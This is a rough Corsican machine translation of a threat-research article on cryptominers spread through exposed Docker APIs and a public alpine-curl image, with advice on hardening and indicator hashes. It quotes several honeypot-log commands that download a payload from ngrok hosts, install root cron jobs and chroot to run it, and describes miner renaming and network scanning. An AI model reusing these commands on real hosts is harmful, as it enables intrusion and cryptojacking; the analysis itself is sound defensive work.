Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency

Avemu analizatu i dati raccolti cù cuntenituri di miele, chì avemu creatu per seguità i minacce. È avemu rilevatu una attività significativa da i minatori di criptovaluta indesiderati o micca autorizati dispiegati cum'è cuntenituri rogue utilizendu una maghjina publicata da a cumunità in Docker Hub. L'imaghjini hè aduprata cum'è parte di un serviziu chì furnisce i minatori di criptocurrency maliziusi.

Inoltre, i prugrammi per travaglià cù e rete sò stallati per penetrà cuntenituri aperti è applicazioni vicini.

Lasciamu i nostri honeypots cum'è, vale à dì, cù paràmetri predeterminati, senza alcuna misura di sicurezza o installazione successiva di software supplementu. Per piacè nutate chì Docker hà cunsiglii per a configurazione iniziale per evità errori è vulnerabili simplicità. Ma i miele utilizati sò cuntenituri, pensati per detectà attacchi diretti à a piattaforma di containerizazione, micca l'applicazioni in i cuntenituri.

L'attività maliciosa rilevata hè ancu notevule perchè ùn hà micca bisognu di vulnerabilità è hè ancu indipendente da a versione Docker. Truvà una maghjina cunfigurata incorrectamente, è dunque aperta, di u containeru hè tuttu ciò chì l'attaccanti necessitanu per infettà parechji servitori aperti.

L'API Docker unclosed permette à l'utilizatori di realizà una larga gamma di squadre, cumpresu ottene una lista di cuntenituri in esecuzione, ottene logs da un cuntinuu specificu, cuminciannu, fermanu (cumpresu furzatu) è ancu creà un novu containeru da una maghjina specifica cù paràmetri specificati.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
A manca hè u metudu di consegna di malware. À a diritta hè l'ambienti di l'attaccante, chì permette un rolling remoto di l'imaghjini.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
Distribuzione per paese di 3762 API Docker aperte. Basatu nantu à a ricerca Shodan data di u 12.02.2019/XNUMX/XNUMX

Opzioni di catina d'attaccu è carichi utili

L'attività maliciosa hè stata rilevata micca solu cù l'aiutu di honeypots. I dati di Shodan mostranu chì u numeru di API Docker esposti (vede u sicondu graficu) hè aumentatu da quandu avemu investigatu un containeru misconfiguratu utilizatu com'è ponte per implementà u software di mining di criptocurrency Monero. In uttrovi di l'annu passatu (2018, data currente pudete vede cusì ca. traduttore) ci era solu 856 API aperti.

Un esame di i logs honeypot dimustrava chì l'usu di l'imaghjini di u containeru era ancu assuciatu cù l'usu di ngrok, un strumentu per stabilisce cunnessione sicure o trasmette u trafficu da i punti accessibili publicamente à l'indirizzi o risorse specificati (per esempiu localhost). Questu permette à l'attaccanti di creà URL in modu dinamicu quandu furnisce una carica utile à un servitore apertu. Quì sottu sò esempi di codice da i logs chì mostranu l'abusu di u serviziu ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Comu pudete vede, i fugliali caricati sò scaricati da URL in constantemente cambiante. Questi URL anu una data di scadenza corta, cusì i carichi ùn ponu esse scaricati dopu a data di scadenza.

Ci hè duie opzioni di carica utile. U primu hè un minatore ELF compilatu per Linux (definitu cum'è Coinminer.SH.MALXMR.ATNO) chì cunnetta à a piscina minera. U sicondu hè un script (TrojanSpy.SH.ZNETMAP.A) cuncepitu per ottene certi strumenti di rete utilizati per scansà e varieghja di rete è dopu cercà novi miri.

U script dropper stabilisce dui variàbili, chì sò tandu usati per implementà u minatore di criptocurrency. A variabile HOST cuntene l'URL induve si trovanu i schedarii maliziusi, è a variabile RIP hè u nome di u schedariu (in fattu, l'hash) di u minatore per esse implementatu. A variabile HOST cambia ogni volta chì a variabile hash cambia. U script prova ancu di verificà chì nisun altru minatore di criptu di munita sò in esecuzione nantu à u servitore attaccatu.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
Esempii di variàbili HOST è RIP, è ancu un snippet di codice utilizatu per verificà chì nisun altru minatore hè in esecuzione

Prima di inizià u minatore, hè rinominatu nginx. Altre versioni di stu script rinominate u minatore à altri servizii legittimi chì ponu esse prisenti in ambienti Linux. Questu hè di solitu abbastanza per passà i cuntrolli contr'à a lista di prucessi in esecuzione.

U script di ricerca hà ancu funziunalità. Funziona cù u stessu serviziu URL per implementà l'arnesi necessarii. Frà elli hè u binariu zmap, chì hè utilizatu per scansà e rete è uttene una lista di porti aperti. U scrittore carica ancu un altru binariu chì hè utilizatu per interagisce cù i servizii truvati è riceve banners da elli per determinà infurmazioni supplementari nantu à u serviziu truvatu (per esempiu, a so versione).

U script predetermina ancu alcuni intervalli di rete per scansà, ma questu dipende da a versione di u script. Stabilisce ancu i porti di destinazione da i servizii - in questu casu, Docker - prima di fà a scansione.

Appena si trovanu miri pussibuli, i banners sò automaticamente eliminati da elli. U script filtra ancu i miri secondu i servizii, applicazioni, cumpunenti o piattaforme d'interessu: Redis, Jenkins, Drupal, MODX, Maestru Kubernetes, Client Docker 1.16 è Apache CouchDB. Se u servitore scansatu currisponde à qualcunu di elli, hè salvatu in un schedariu di testu, chì l'attaccanti ponu più tardi aduprà per l'analisi è u pirate. Questi schedarii di testu sò caricati à i servitori di l'attaccanti via ligami dinamichi. Questu hè, un URL separatu hè utilizatu per ogni schedariu, chì significa chì l'accessu sussegwente hè difficiule.

U vettore d'attaccu hè una maghjina Docker, cum'è si pò vede in i dui pezzi di codice.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
In cima hè rinominatu à un serviziu legittimu, è in fondu hè cumu zmap hè utilizatu per scansà e rete.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
In cima ci sò intervalli di rete predefiniti, in fondu sò porti specifichi per a ricerca di servizii, cumpresu Docker.

Cumu l'API Docker non-private è l'imaghjini publichi da a cumunità sò stati utilizati per distribuisce i minatori di criptocurrency
A screenshot mostra chì l'imaghjini alpine-curl hè stata scaricata più di 10 milioni di volte

Basatu nantu à Alpine Linux è curl, un strumentu CLI efficiente in risorse per u trasferimentu di fugliali nantu à diversi protokolli, pudete custruisce Image Docker. Comu pudete vede in l'imaghjina precedente, sta maghjina hè stata scaricata più di 10 milioni di volte. Un gran numaru di scaricamentu pò significà l'usu di sta maghjina cum'è un puntu d'ingressu; sta maghjina hè stata aghjurnata più di sei mesi fà; l'utilizatori ùn anu micca scaricatu altre imagine da stu repositoriu cusì spessu. In Docker puntu di entrata - un inseme di struzzioni utilizati per cunfigurà un containeru per eseguisce. Se i paràmetri di u puntu di ingressu sò sbagliati (per esempiu, u cuntinuu hè lasciatu apertu da l'Internet), l'imaghjini pò esse usatu cum'è vettore d'attaccu. L'attaccanti ponu aduprà per furnisce una carica utile se trovanu un containeru misconfiguratu o apertu lasciatu senza supportu.

Hè mpurtanti nutà chì sta maghjina (alpine-curl) stessu ùn hè micca maliziusu, ma cum'è pudete vede sopra, pò esse usatu per eseguisce funzioni maliziusi. L'imaghjini simili di Docker ponu ancu esse aduprati per fà attività maliziusi. Avemu cuntattatu Docker è hà travagliatu cun elli nantu à questu prublema.

ci voli

Configurazione sbagliata ferma prublema constante per parechje cumpagnie, in particulare quelli chì implementanu DevOps, focu annantu à u sviluppu rapidu è a consegna. Tuttu hè aggravatu da a necessità di rispettà e regule di auditing è di monitoraghju, a necessità di monitorà a cunfidenzialità di e dati, è ancu u dannu enormu da u so non-cunformità. L'incorporazione di l'automatizazione di sicurezza in u ciclu di vita di u sviluppu ùn solu aiuta à truvà buchi di sicurezza chì altrimenti puderianu micca rilevati, ma aiuta ancu à riduce a carica di travagliu innecessariu, cum'è l'esecuzione di custruzzioni di software supplementari per ogni vulnerabilità scuperta o misconfigurazione dopu chì una applicazione hè implementata.

L'incidentu discutitu in questu articulu mette in risaltu a necessità di piglià in contu a sicurità da u principiu, cumprese e seguenti raccomandazioni:

  • Per l'amministratori di u sistema è i sviluppatori: Verificate sempre i vostri paràmetri API per assicurà chì tuttu hè cunfiguratu per accettà solu richieste da un servitore specificu o una rete interna.
  • Segui u principiu di u minimu diritti: assicuratevi chì l'imaghjini di u containeru sò firmati è verificati, limità l'accessu à i cumpunenti critichi (serviziu di lanciamentu di u containeru) è aghjunghje criptografia à e cunnessione di a rete.
  • Segui raccomandazioni è attivà i miccanismi di sicurità, per esempiu. da Docker è integratu caratteristiche di sicurità.
  • Aduprate scanning automatizatu di runtimes è imagine per ottene infurmazioni supplementari nantu à i prucessi in esecuzione in u containeru (per esempiu, per detect spoofing o ricerca di vulnerabilità). U cuntrollu di l'applicazioni è u monitoraghju di l'integrità aiutanu à seguità i cambiamenti anormali à i servitori, i fugliali è l'area di u sistema.

Trendmicro aiuta i squadre DevOps à custruisce in modu sicuru, à lancià rapidamente è à lancià in ogni locu. Trend Micro Hybrid Cloud Security Fornisce una sicurezza putente, simplificata è automatizata in u pipeline DevOps di una urganizazione è furnisce parechje difese di minaccia XGen per prutege i carichi di travagliu fisici, virtuali è in nuvola in runtime. Aghjunghje ancu a sicurità di u containeru Sicurezza prufonda и Deep Security Smart Check, chì scannanu l'imaghjini di u containeru di Docker per malware è vulnerabili in ogni puntu in u pipeline di sviluppu per prevene e minacce prima di esse implementate.

Segni di cumprumissu

Hash correlati:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

nantu Corso video Docker I parlanti praticanti mostranu quali paràmetri deve esse fattu prima per minimizzà a probabilità o evità completamente l'occurrence di a situazione descritta sopra. È l'aostu 19-21 à un intensivu in linea Strumenti DevOps & Trucchi Pudete discutiri questi è prublemi di sicurezza simili cù i culleghi è i prufessori praticanti in una tavola rotonda, induve tutti ponu parlà è sente i dolori è i successi di i culleghi sperimentati.

Source: www.habr.com

Add a comment